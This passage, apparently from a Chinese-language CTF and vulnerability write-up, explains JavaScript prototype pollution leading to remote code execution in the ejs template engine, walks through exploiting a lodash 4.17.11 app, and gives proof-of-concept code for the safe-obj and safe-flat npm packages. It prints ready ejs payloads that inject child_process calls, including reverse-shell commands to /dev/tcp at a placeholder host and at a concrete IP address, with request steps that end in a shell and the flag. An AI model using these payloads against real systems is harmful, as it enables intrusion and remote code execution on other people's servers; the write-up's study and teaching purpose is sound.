拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName
,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render
方法,其最终也是进入了 compile
。最后给出几个 ejs 模板引擎 RCE 常用的 POC:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}} {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}} {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
/
首页/static
静态文件/sandbox
显示用户HTML数据用的沙盒/login
登陆/register
注册/get
json接口 获取数据库中保存的数据/add
用户添加数据的接口除了/static
,/login
和/register
以外,所有路由在访问的时候都会经过一个auth
函数进行身份验证
另外在初始化的时候有这么一句
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
所以我们可以通过json格式传递参数到服务端
发现调用了 lodash ,而且版本4.17.11
{ "name": "htmlstore", "version": "1.0.0", "description": "htmlStore will help you store html file.", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", "license": "ISC", "dependencies": { "ejs": "^2.6.2", "express": "^4.17.1", "express-session": "^1.16.2", "helmet": "^3.19.0", "lodash": "4.17.11", "mongodb": "^3.3.0-beta2", "mysql": "^2.17.1", "randomatic": "^3.1.1" } }
估计存在原型链污染漏洞,发现调用 lodash.defaultDeep 函数,
在/get
中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起
相关的从express到ejs的利用连上面写了,不写了。
最终还是
if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; }
这里的 outputFunctionName
这个参数未定义,并且被拼接入一路回传给prepended
,this.source
,src
,fn
,然后以returnedFn
返回并最后被执行。
而一路跟进的时候可以发现,并没有outputFunctionName
的身影,所以只要给 Object 的prototype
加上这个成员,我们就可以实现从原型链污染到RCE的攻击过程了!
payload
{ "content": { "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/1.15.75.117/2333 0>&1\"');var __tmp2" } } }, "type": "test" }
发送6次请求,然后访问/get
进行原型链污染,最后访问/
或/login
触发render
函数,成功反弹shell并 getflag
翻译很硬,没大看明白,这个模块需要lodash,但可以依稀的看出来这个模块是针对空对象的,也就是{}
POC
var safeObj = require("safe-obj"); var obj = {}; console.log("Before : " + {}.polluted); safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted'); console.log("After : " + {}.polluted);
我们在safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
处下个断点,单步执行结束后可以看到
可以看到成功在原型中添加了属性
分析一下
查看safe-objv1.0.0中lib/index.js中的extend函数定义如下。
首先我们传入的一定是一个对象,然后他也可以接收{}
,满足条件进入第二个循环
第一次调用expand函数,传参如下。
obj = {},path = "__proto__.polluted",thing = "Yes! Its Polluted"
执行split('.')
函数后,props数组值如下,此时进入else分支。
props = (2) ["__proto__","polluted"],path = "__proto__.polluted"
执行prop.shift()语句后,prop的值如下。
prop = "__proto__",props = ["polluted"] obj = {}
这样就跳过了if判断,递归调用expand
相当于执行
expand(obj[__proto__],"polluted","Yes! Its Polluted")
再次调用split(''.')
后,
props
的值为”polluted”
。props.length===1
结果为true
,
执行obj[props.shift()]=thing
,
props = ["polluted"], path = "polluted"
相当于执行obj[__proto__]["polluted"]="Yes! Its Polluted"
,造成原型污染。
该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:
var safeFlat = require("safe-flat"); console.log("Before : " + {}.polluted); safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.'); console.log("After : " + {}.polluted);